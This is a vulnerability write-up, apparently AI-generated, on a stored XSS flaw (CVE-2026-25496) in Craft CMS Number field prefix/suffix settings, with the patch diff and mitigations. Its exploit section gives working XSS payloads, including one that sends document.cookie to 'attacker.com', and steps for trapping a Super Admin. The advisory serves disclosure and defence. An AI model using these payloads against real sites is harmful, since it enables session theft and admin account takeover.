CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-25496

Crafty Injections: Stored XSS in Craft CMS Number Fields

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 9, 2026·6 min read·22 visits

Executive Summary (TL;DR)

Improper output encoding in Craft CMS Number fields allows Stored XSS. Specifically, the prefix and suffix settings are parsed as Markdown without HTML encoding, allowing raw script injection. Fixed in 4.16.18 and 5.8.22.

A classic case of 'trusted input' going rogue, CVE-2026-25496 is a Stored Cross-Site Scripting (XSS) vulnerability lurking within the unsuspecting 'Number' field settings of Craft CMS. By neglecting to sanitize HTML tags when parsing Markdown in field prefixes and suffixes, the system allows administrators with schema permissions to plant persistent JavaScript payloads that execute whenever the field is rendered.

The Hook: When Boring Fields Turn Dangerous

In the world of web exploitation, we often hunt for the complex, the obscure, or the blatantly negligent. But sometimes, the most effective bugs hide in the most mundane features. Enter the Number Field in Craft CMS. It’s the kind of feature you gloss over—it holds prices, quantities, or maybe a year. It’s data. It’s boring.

However, Craft CMS is known for its flexibility. When defining a Number field, an administrator can define a Prefix (like $) or a Suffix (like kg). To make things 'pretty', the developers allowed these little text snippets to be parsed as Markdown. Do you really need bold text in your currency symbol? Probably not. But feature creep is a security researcher's best friend.

The vulnerability here isn't in the number itself; it's in the decoration around it. Because the application assumed that administrators defining schema structure were trustworthy (and that Markdown parsers would behave), it opened a door. If you can control the schema, you can control the browser of anyone who interacts with that data.

The Flaw: The Deadly Combination of |md and |raw

Let's talk about Twig, the templating engine powering Craft CMS. Twig is generally secure by default because it automatically escapes output. If you try to print <script>, Twig prints &lt;script&gt;. Safe, boring, effective. To bypass this, developers use the |raw filter. This is essentially telling the compiler: "Trust me, I know what I'm doing, just dump the data."

The vulnerability stems from a specific chain of filters used in src/templates/_components/fieldtypes/Number/input.twig. The code took the user-defined prefix/suffix and ran it through a Markdown filter (|md) and then immediately piped it to |raw.

Here is the logic error: Markdown, by design, supports inline HTML. If you write <b>Hello</b> in Markdown, it renders as bold text. If you write <script>alert(1)</script>, a standard Markdown parser often treats it as valid HTML and passes it through. The developers used the |md filter to render the formatting but failed to tell the parser to encode HTML tags before rendering. The |raw filter at the end of the chain then stripped away Twig's last line of defense, serving the attacker's payload on a silver platter.

The Code: Anatomy of a Fix

The fix is subtle but critical. It highlights the difference between "rendering markdown" and "rendering safe markdown".

Below is the diff from commit cb5fb0e979e72f315c9178fc031883d49527f513. Notice that the developers didn't remove the feature; they just tightened the leash on the Markdown parser.

--- a/src/templates/_components/fieldtypes/Number/input.twig
+++ b/src/templates/_components/fieldtypes/Number/input.twig
@@ -25,7 +25,7 @@
 <div class="flex">
     {% if hasPrefix %}
         <div aria-hidden="true">
-            {{ prefix|t('site')|md(inlineOnly=true)|raw }}
+            {{ prefix|t('site')|md(inlineOnly=true,encode=true)|raw }}
         </div>
     {% endif %}

The Smoking Gun: The original code md(inlineOnly=true) told the parser "don't make block-level elements like paragraphs," but it didn't say "stop HTML tags."

The Patch: The addition of encode=true forces the Markdown parser to HTML-encode the input string before parsing it. If an attacker inputs <script>, it becomes &lt;script&gt; before the Markdown logic touches it. The |raw filter allows the generated HTML (like <strong> from **bold**) to pass, but the malicious injection is neutralized.

The Exploit: Persistent Pwnage

While this vulnerability requires high privileges (Admin), do not underestimate its utility for persistence or lateral movement within a team. If you have compromised a lower-level admin account with schema permissions, you can use this to trap the Super Admin.

Step 1: The Setup Log in as an administrator. Navigate to Settings > Fields. Create a new field of type Number (or edit an existing one that is widely used, like 'Price').

Step 2: The Injection Locate the "Prefix Text" setting. This is where we inject our payload. A simple PoC might look like this:

"><img src=x onerror=alert('XSS_By_Prefix')>

Or, for a more stealthy approach using SVG (which often bypasses simple filters):

<svg/onload=fetch('//attacker.com?c='+document.cookie)>

Step 3: The Trap Save the field. The database now stores this string.

Step 4: The Trigger Wait. You don't need to do anything else. As soon as any other administrator (or potentially a frontend user if these fields are exposed in a specific way) views an entry that utilizes this number field, the browser renders the prefix. The |md filter parses it, the |raw filter outputs it, and the browser executes it. You now have their session cookies.

The Impact: Why Admin XSS Matters

A common rebuttal to vulnerabilities like this is: "But you need to be an Admin to exploit it! If you're an Admin, you already own the site!"

Not necessarily. In modern CMS environments, "Admin" is rarely a binary state. You have content editors, site managers, and developers.

  1. Privilege Escalation: An attacker with 'Settings' access can target a 'Super Admin' to gain full shell access via template editing or plugin installation.
  2. Persistence: Even if the attacker loses their original credentials, the backdoored field remains. The moment a legitimate admin logs in to check the content, the attacker regains access.
  3. Wormability: If the field is rendered on a frontend profile page (e.g., a user salary field), this could become a self-propagating worm affecting all users.

The Fix: Closing the Window

The remediation is straightforward: Update.

Patched Versions:

  • Craft CMS 4.x: 4.16.18
  • Craft CMS 5.x: 5.8.22

If you cannot update immediately, you can mitigate the risk by adhering to Craft CMS best practices:

  1. Disable Admin Changes in Production: Set allowAdminChanges to false in your config/general.php. This prevents anyone (even admins) from modifying field settings in the production environment, effectively closing the vector unless the attacker can modify the codebase/project config files directly.
  2. CSP (Content Security Policy): Implement a strict CSP that disallows inline scripts (script-src 'self'). This won't fix the bug, but it will prevent the browser from executing the payload.

Official Patches

Craft CMSGitHub Commit fixing the issue
Craft CMSChangelog for version 5.8.22

Fix Analysis (1)

Technical Appendix

CVSS Score
4.8/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Probability
0.04%
Top 100% most exploited

Affected Systems

Craft CMS 4.x < 4.16.18Craft CMS 5.x < 5.8.22

Affected Versions Detail

Product
Affected Versions
Fixed Version
Craft CMS
Pixel & Tonic
>= 4.0.0-RC1, < 4.16.184.16.18
Craft CMS
Pixel & Tonic
>= 5.0.0-RC1, < 5.8.225.8.22
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork
CVSS v4.04.8 (Medium)
Privileges RequiredHigh (Admin)
ImpactStored XSS / Session Hijacking
Vulnerable ComponentNumber Field Settings (Prefix/Suffix)

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1059.007Command and Scripting Interpreter: JavaScript
Execution
T1552Unsecured Credentials
Credential Access
CWE-79
Cross-site Scripting

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Known Exploits & Detection

ManualInjection of HTML tags into Number Field Prefix/Suffix configuration.

Vulnerability Timeline

Fix committed to GitHub repository
2026-01-06
Vulnerability publicly disclosed
2026-02-09
Patched versions 4.16.18 and 5.8.22 released
2026-02-09

References & Sources

  • [1]GHSA-9f5h-mmq6-2x78 Advisory
  • [2]CWE-79: Cross-site Scripting

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 6 hours ago•GHSA-PW6J-QG29-8W7F
5.9

GHSA-pw6j-qg29-8w7f: State Persistence and Sensitive Credential Leakage in Tornado CurlAsyncHTTPClient

A state persistence vulnerability exists in Tornado's CurlAsyncHTTPClient component where pooled pycurl.Curl handles are reused across asynchronous requests without a complete state reset. Consequently, sensitive per-request configurations, such as client TLS certificates or proxy basic authentication credentials, persist on the shared handle. This behavior leads to subsequent requests leaking these credentials to unauthorized remote servers.

Amit Schendel
Amit Schendel
4 views•7 min read
•about 7 hours ago•CVE-2026-48748
7.5

CVE-2026-48748: Netty HTTP/3 QPACK Blocked Streams Memory Exhaustion

CVE-2026-48748 is a denial-of-service vulnerability in Netty's HTTP/3 codec (netty-codec-http3) occurring when QPACK dynamic tables are enabled but the blocked streams limit is not explicitly configured. A bug in limit checking and a memory leak in stream tracking allow unauthenticated remote attackers to exhaust the JVM heap memory and crash the server.

Amit Schendel
Amit Schendel
5 views•6 min read
•about 7 hours ago•CVE-2026-50009
4.8

CVE-2026-50009: Stateless Reset Token Exposure in Netty QUIC

CVE-2026-50009 is a cryptographic design vulnerability in the Netty network application framework. Prior to version 4.2.15.Final, the framework's QUIC protocol implementation fails to cryptographically segregate the generated Connection IDs and the associated Stateless Reset Tokens. An on-path network attacker who sniffs traffic during a Connection ID rotation can extract secret token material from cleartext headers, enabling them to inject spoofed reset packets and terminate active connections.

Alon Barad
Alon Barad
5 views•6 min read
•about 8 hours ago•CVE-2026-50010
7.5

CVE-2026-50010: Hostname Verification Bypass in Netty TLS Client

A critical hostname verification bypass vulnerability exists in the Netty network application framework when configured as a TLS client. When a developer registers a custom plain X509TrustManager, Netty wraps it inside an X509TrustManagerWrapper to adapt it to the X509ExtendedTrustManager API. However, this wrapper discards the SSLEngine context, bypassing critical hostname checks. Because the wrapper is identified as an X509ExtendedTrustManager, standard cryptographic engines and Netty's OpenSSL wrappers do not re-wrap it, failing to execute any hostname validation. Consequently, clients silently accept certificates for any host, enabling unauthenticated Man-in-the-Middle (MitM) attacks.

Amit Schendel
Amit Schendel
5 views•8 min read
•about 8 hours ago•CVE-2026-50011
7.5

CVE-2026-50011: Unbounded Resource Pre-Allocation in Netty Redis Codec

An uncontrolled resource pre-allocation flaw in the Netty Redis codec module allows remote unauthenticated attackers to cause a denial of service (OutOfMemoryError) by sending a crafted Redis Serialization Protocol (RESP) array header.

Amit Schendel
Amit Schendel
4 views•7 min read
•about 9 hours ago•CVE-2026-50020
5.3

CVE-2026-50020: HTTP Request Smuggling in Netty HttpObjectDecoder via Arbitrary Leading Control Bytes

CVE-2026-50020 is a medium-severity HTTP Request Smuggling/Response Smuggling vulnerability (CWE-444) within the Netty asynchronous network application framework. The flaw resides in Netty's HTTP codec implementation, specifically the HttpObjectDecoder class, which silently consumes arbitrary ISO control bytes preceding the first request line.

Alon Barad
Alon Barad
4 views•7 min read